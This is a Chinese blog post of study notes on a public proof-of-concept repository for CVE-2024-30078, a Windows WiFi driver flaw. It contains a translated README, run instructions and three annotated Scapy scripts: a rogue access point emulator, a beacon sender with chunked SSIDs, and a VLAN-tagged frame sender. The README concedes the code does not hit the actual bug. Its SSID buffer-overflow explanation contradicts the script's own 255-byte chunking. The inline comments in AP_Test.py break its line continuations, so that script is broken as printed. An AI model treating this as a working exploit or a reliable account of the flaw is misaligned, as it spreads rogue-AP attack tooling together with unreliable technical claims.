当前位置:   article > 正文

【学习记录】CVE_2024_30078_POC_WIFI_cve-2024-30078

cve-2024-30078

文章目录


免责声明
此代码仅供教育目的提供。作者不对因滥用此脚本造成的任何损害负责。请负责任地使用,并仅在您有明确许可执行此类测试的环境中使用。

项目地址:https://github.com/blkph0x/CVE_2024_30078_POC_WIFI

漏洞介绍

CVE-2024-30078 Exploit 是一个用于揭示并利用Windows操作系统中WiFi处理机制严重安全漏洞的开源项目。这个漏洞(CVE-2024-30078)与服务集标识符(SSID)的不当处理有关,可能导致系统级别的缓冲区溢出,从而为攻击者提供执行任意代码或使系统崩溃的可能性。

POC分析

README.md(汉化版)

### CVE-2024-30078:
# 更新4
长期逾期的更新,但是...我们遇到了一个崩溃!更多内容敬请期待。
# 更新3
我们设法让Windows与我们的流氓接入点(AP)关联,并能够发送所需的dot11数据帧来进入我们正在研究的函数。我们将把大部分开发工作转移到一个私有仓库,直到我们让它可靠工作,然后我们将与公共仓库合并。请随时在问题页面上添加您遇到的任何问题、想法或发现,我也可能设置一个讨论页面。(我会)将在大约AEST时间晚上9点再次更新。

# 更新2
我添加了两个文件以协助调试CVE。

# 更新1
### 问题
在逆向工程这个CVE时,我发现可能有两种利用方法:1. 攻击者可能能够在认证到网络时发送一个精心制作的包,这更困难,需要更多的移动部件。2. 简单的方式是识别探针,对设备使用的探针做出有根据的猜测,这不需要认证,构建一个使用开放网络探针细节的流氓AP(可能需要一些猜测),然后等待设备自动加入并发送构建的帧以到达受影响的代码路径(这就是我现在的工作)。在加入一个开放网络时,AP发送多个帧,这些帧到达受影响的代码块(但不是带有期望的标志),我们可以构建帧以包括期望的标志,以到达已经被修补或在这种情况下未修补的代码,以尝试识别利用点。我们现在似乎有足够的信息来实现这一点。只需要构建它并运行一些测试用例,同时进行内核调试。

# 信息
这个REPO似乎没有击中与声明的CVE相同的漏洞,感谢FarmPoet提供的新信息,CVE-2024-30078漏洞在Dot11Translate80211ToEthernetNdisPacket()的Windows原生WiFi驱动程序(nwifi.sys)中,并且需要构建一个非常特定的帧才能到达可利用的代码路径(这个代码没有)。

# 我正在工作
我已经确定了函数中的更改,并且现在正在逆向工程以构建所需的相关帧。

# CVE-2024-30078 漏洞利用
## 概述

# 解释
## 代码如何工作
### 导入和初始化:
脚本从Scapy和系统模块导入必要的模块。
### SSID分块:
create_wifi_packet函数将提供的SSID拆分成每个255字节的块(每个块允许的最大长度)。
### 帧创建:
对于每个块,创建一个WiFi信标帧。
### 帧包括:
Dot11头,用于指定帧类型和地址。
Dot11Beacon,表示一个信标帧。
Dot11Elt,用于嵌入SSID块。
### 发送帧:
使用sendp函数发送每个帧,具有特定的接口、计数、间隔和详细程度参数。
### 错误处理:
脚本在发送包时检查权限错误和其他异常。

缓冲区溢出机制 Windows处理SSID最多512字节,这超出了WiFi标准。通过发送超过此限制的SSID块,可以触发Windows WiFi处理子系统的缓冲区溢出。这种溢出可能允许攻击者执行任意代码或导致系统崩溃。

## 潜在问题和考虑事项

### 根权限:
脚本需要根权限才能发送包。确保您使用sudo运行脚本。
### 接口可用性:
脚本假设无线接口是wlan0。如果您的接口有不同的名称,请进行调整。
### 权限和依赖错误:
确保Scapy及其依赖项已正确安装。处理访问网络接口的权限。
### 法律和道德含义:
在未经授权的网络上使用此脚本利用漏洞是非法和不道德的。仅用于授权的安全测试和研究目的。

免责声明
此代码仅供教育目的提供。作者不对因滥用此脚本造成的任何损害负责。请负责任地使用,并仅在您有明确许可执行此类测试的环境中使用。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

文件解释:

  1. README.md:

    • 提供了关于CVE-2024-30078漏洞的更新和信息。
    • 描述了可能的利用方法,包括发送特制的数据包和构造一个流氓接入点(Rogue AP)。
    • 提供了关于代码工作原理的概述,包括导入和初始化、SSID分块、帧创建、发送帧和错误处理。
  2. dot11.py:

    • 这个Python脚本使用Scapy库创建一个带有LLC(Logical Link Control)和VLAN标签的802.11数据帧。
    • 可以用于构造特定的数据包,可能用于触发缓冲区溢出或其他漏洞。
  3. AP_Test.py:

    • 这个脚本模拟一个WiFi接入点,发送信标帧和响应探针请求和关联请求。
    • 可以用来测试设备对特定信标帧的反应,或者在构造利用时模拟目标网络环境。
  4. wifibeacon.py:

    • 此脚本创建并发送包含SSID块的WiFi信标帧。
    • 通过将SSID拆分成多个块并发送,可以用于测试Windows WiFi处理子系统对超长SSID的处理方式。

如何利用这些PoC:

在提供的Python脚本中,每个脚本都有其特定的目的,但并非所有脚本都直接用于测试CVE-2024-30078漏洞。以下是每个脚本的简要概述以及它们可能如何用于测试:

  1. dot11.py:

    • 这个脚本创建一个带有LLC和VLAN标签的802.11数据帧。它可能被用来构造特定的数据包,这些数据包可以用于触发缓冲区溢出或其他漏洞。如果你想测试特定的数据包构造,可以运行这个脚本。
  2. AP_Test.py:

    • 这个脚本模拟一个WiFi接入点,发送信标帧和响应探针请求和关联请求。如果你想测试设备对特定信标帧的反应,或者在构造利用时模拟目标网络环境,可以运行这个脚本。
  3. wifibeacon.py:

    • 这个脚本创建并发送包含SSID块的WiFi信标帧。它可能用于测试Windows WiFi处理子系统对超长SSID的处理方式。如果你想测试SSID长度对系统的影响,可以运行这个脚本。

如何选择运行哪个脚本:

  • 测试特定数据包构造:如果你的目标是测试特定的数据包构造,比如带有VLAN标签的数据包,那么应该运行dot11.py
  • 模拟WiFi接入点:如果你想模拟一个WiFi接入点来测试设备的反应,或者在构造利用时模拟目标网络环境,那么应该运行AP_Test.py
  • 测试SSID长度影响:如果你想测试SSID长度对WiFi系统的影响,特别是超长SSID,那么应该运行wifibeacon.py

运行步骤:

  1. 确保你有足够的权限(可能需要root权限)来运行这些脚本。
  2. 确保所有依赖项(如Scapy库)都已安装并更新到最新版本。
  3. 根据需要修改脚本中的参数,比如SSID、BSSID、MAC地址等。
  4. 在控制台或终端中运行脚本,可以使用命令例如:
    python3 dot11.py
    python3 AP_Test.py
    python3 wifibeacon.py "YourSSIDHere"
    
    • 1
    • 2
    • 3
  5. 观察输出和目标系统的反应,以确定脚本是否按预期工作。

代码注释

dot11.py

# 导入Scapy库中需要的功能
from scapy.all import RadioTap, Dot11, LLC, SNAP, Dot1Q, sendp

# 定义一个函数,用于创建带有LLC和VLAN标签的802.11帧
def create_80211_frame_with_llc_vlan(bssid, dst_mac, src_mac, vlan_id, payload):
    # 创建一个802.11数据帧,类型为2,子类型为0
    dot11 = Dot11(type=2, subtype=0, addr1=dst_mac, addr2=src_mac, addr3=bssid)

    # 创建逻辑链路控制(LLC)头部,dsap和ssap都设置为0xaa,表示SNAP协议
    llc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)

    # 创建SNAP头部,OUI设置为广播地址,code设置为VLAN标签的以太类型
    snap = SNAP(OUI=b'\x00\x00\x00', code=0x8100)

    # 创建VLAN标签,设置VLAN ID
    vlan = Dot1Q(vlan=vlan_id)

    # 构建完整的帧,包括RadioTap头、Dot11帧、LLC、SNAP、VLAN标签和有效载荷
    frame = RadioTap() / dot11 / llc / snap / vlan / payload
    return frame

# 定义一个函数,用于发送802.11帧
def send_80211_frame(frame, iface='wlan0mon'):
    # 发送帧,指定接口,不打印详细信息
    sendp(frame, iface=iface, verbose=False)
    print("802.11 frame with LLC and VLAN tag sent")

# 脚本的主入口点
if __name__ == "__main__":
    # 示例参数,这些参数可能需要根据实际情况进行修改
    bssid = '00:11:22:33:44:66'  # 接入点的BSSID
    dst_mac = 'ff:ff:ff:ff:ff:ff'  # 目的MAC地址(广播)
    src_mac = '00:11:22:33:44:55'  # 源MAC地址(你的设备)
    vlan_id = 100  # VLAN ID
    payload = b'Hello, this is a test payload.'  # 有效载荷

    # 创建帧
    frame = create_80211_frame_with_llc_vlan(bssid, dst_mac, src_mac, vlan_id, payload)
    # 发送帧
    send_80211_frame(frame)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40

AP_Test.py

# 导入Scapy库的所有功能
from scapy.all import *
# 导入Scapy库中与802.11协议相关的层
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Beacon, Dot11Elt, Dot11AssoReq, Dot11AssoResp, Dot11ProbeReq
# 导入time模块,用于生成时间戳
import time

# 设置要伪造的SSID
SSID = "TestAP"
# 设置监听的网络接口
interface = "wlan0mon"
# 设置伪造的AP的MAC地址
bssid = "0C:27:CB:48:52:FC"
# 设置信道号
channel = 6

# 定义自定义的供应商特定属性(Vendor Specific Attribute, VSA)
custom_vsa = b'\xdd\x07\x00\x50\xf2\x02\x01\x01'

# 定义全局序列号,用于802.11帧
seq_num = 0

# 定义一个函数,用于获取下一个序列号
def get_sequence_number():
    global seq_num
    seq_num = (seq_num + 1) % 4096  # 序列号是12位的(0-4095)
    return seq_num

# 定义一个函数,用于创建信标帧
def create_beacon(ssid, bssid, channel):
    seq = get_sequence_number()
    # 构建信标帧
    beacon = RadioTap() / \
             Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid, SC=seq << 4) / \
             Dot11Beacon(timestamp=int(time.time()), beacon_interval=0x0064, cap=0x2104) / \
             Dot11Elt(ID=0, info=ssid) / \
             # 以下为支持的速率、DS参数集、ERP信息元素等
             Dot11Elt(ID=1, info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24') / \
             Dot11Elt(ID=3, info=chr(channel).encode()) / \
             Dot11Elt(ID=5, info=b'\x00\x01\x00\x00') / \
             Dot11Elt(ID=7, info=b'\x07\x52\x55\x53\x00\x00') / \
             Dot11Elt(ID=50, info=b'\x30\x48\x60\x6c') / \
             Dot11Elt(ID=42, info=b'\x00') / \
             # 以下为HT操作信息元素和VSA
             Dot11Elt(ID=61, info=chr(channel).encode() + b'\x01\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') / \
             Dot11Elt(ID=221, info=custom_vsa)
    return beacon

# 定义一个函数,用于创建探针响应帧
def create_probe_response(bssid, src_mac):
    # 构建探针响应帧
    probe_response = RadioTap() / \
                     # 类似于信标帧的构建,但type和subtype不同
                     Dot11(type=0, subtype=5, addr1=src_mac, addr2=bssid, addr3=bssid) / \
                     Dot11Beacon(timestamp=int(time.time()), beacon_interval=0x0064, cap=0x2104) / \
                     Dot11Elt(ID=0, info=SSID) / \
                     Dot11Elt(ID=1, info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24') / \
                     Dot11Elt(ID=3, info=chr(channel).encode()) / \
                     Dot11Elt(ID=7, info=b'\x07\x52\x55\x53\x00\x00') / \
                     Dot11Elt(ID=50, info=b'\x30\x48\x60\x6c') / \
                     Dot11Elt(ID=42, info=b'\x00') / \
                     Dot11Elt(ID=61, info=chr(channel).encode() + b'\x01\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') / \
                     Dot11Elt(ID=221, info=custom_vsa)
    return probe_response

# 定义一个函数,用于创建关联响应帧
def create_assoc_response(bssid, src_mac):
    # 构建关联响应帧
    assoc_response = RadioTap() / \
                     # 类似于信标帧的构建,但type和subtype不同
                     Dot11(type=0, subtype=1, addr1=src_mac, addr2=bssid, addr3=bssid) / \
                     Dot11AssoResp(cap=0x2104, AID=1, status=0) / \
                     Dot11Elt(ID=1, info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24') / \
                     Dot11Elt(ID=50, info=b'\x30\x48\x60\x6c') / \
                     Dot11Elt(ID=3, info=chr(channel).encode()) / \
                     Dot11Elt(ID=7, info=b'\x07\x52\x55\x53\x00\x00') / \
                     Dot11Elt(ID=42, info=b'\x00') / \
                     Dot11Elt(ID=61, info=chr(channel).encode() + b'\x01\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') / \
                     Dot11Elt(ID=221, info=custom_vsa)
    return assoc_response

# 定义一个函数,用于在指定接口上发送信标
def send_beacon(interface):
    while True:
        beacon = create_beacon(SSID, bssid, channel)
        sendp(beacon, iface=interface, verbose=False)  # 发送信标
        time.sleep(0.1024)  # 每102.4毫秒发送一次信标

# 定义一个函数,用于处理捕获的数据包
def packet_handler(packet):
    if packet.haslayer(Dot11ProbeReq):  # 如果数据包是探针请求
        print(f"Probe request from {packet.addr2}")
        probe_response = create_probe_response(bssid, packet.addr2)
        sendp(probe_response, iface=interface, verbose=False)  # 发送探针响应
        print(f"Probe response sent to {packet.addr2}")

    elif packet.haslayer(Dot11AssoReq) and packet.addr1 == bssid:  # 如果数据包是关联请求
        print(f"Association request from {packet.addr2}")
        assoc_response = create_assoc_response(bssid, packet.addr2)
        sendp(assoc_response, iface=interface, verbose=False)  # 发送关联响应
        print("Association response sent")

# 程序的主入口
if __name__ == "__main__":
    # 在单独的线程中开始发送信标
    import threading
    beacon_thread = threading.Thread(target=send_beacon, args=(interface,))
    beacon_thread.daemon = True  # 设置为守护线程,以便主程序退出时该线程也会退出
    beacon_thread.start()
    
    # 开始监听指定接口上的探针和关联请求
    sniff(iface=interface, prn=packet_handler)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112

wifibeacon.py

# 导入Scapy库中的所有功能以及sys模块
from scapy.all import *
import sys

# 定义一个函数,用于创建和发送Wi-Fi beacon帧
def create_wifi_packet(ssid):
    # 定义SSID的最大长度
    MAX_SSID_LENGTH = 255

    # 将SSID分割成多个部分,每个部分不超过MAX_SSID_LENGTH长度
    ssid_chunks = [ssid[i:i+MAX_SSID_LENGTH] for i in range(0, len(ssid), MAX_SSID_LENGTH)]

    # 遍历SSID的各个部分,并对每个部分发送一个beacon帧
    for index, chunk in enumerate(ssid_chunks):
        # 创建一个Dot11帧,类型为管理帧,子类型为beacon帧
        dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=f'01:00:00:00:01:{index:02x}', addr3=f'02:00:00:00:01:{index:02x}')
        # 添加beacon帧的内容
        beacon = Dot11Beacon()
        # 添加SSID元素,其中包含SSID的当前部分
        essid = Dot11Elt(ID='SSID', info=chunk, len=len(chunk))
        # 创建完整的帧,包括RadioTap头、Dot11帧、beacon信息和SSID元素
        frame = RadioTap()/dot11/beacon/essid

        # 打印当前发送的SSID部分信息
        print(f"Sending Beacon frame with SSID chunk {index+1}/{len(ssid_chunks)} of length: {len(chunk)}")

        try:
            # 尝试发送帧,指定接口为wlan0,发送100次,每次间隔0.1秒
            sendp(frame, iface='wlan0', count=100, inter=0.1, verbose=1)
        except PermissionError:
            # 如果没有root权限,打印错误信息并退出函数
            print("Error: You need root privileges to send packets.")
            return
        except Exception as e:
            # 打印其他错误信息
            print(f"An error occurred: {e}")
            return

# 脚本的主入口点
if __name__ == "__main__":
    # 检查命令行参数的数量是否正确
    if len(sys.argv) != 2:
        print("Usage: sudo python wifibeacon.py <SSID>")
        sys.exit(1)

    # 从命令行参数获取SSID
    ssid = sys.argv[1]
    # 调用函数发送SSID的beacon帧
    create_wifi_packet(ssid)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号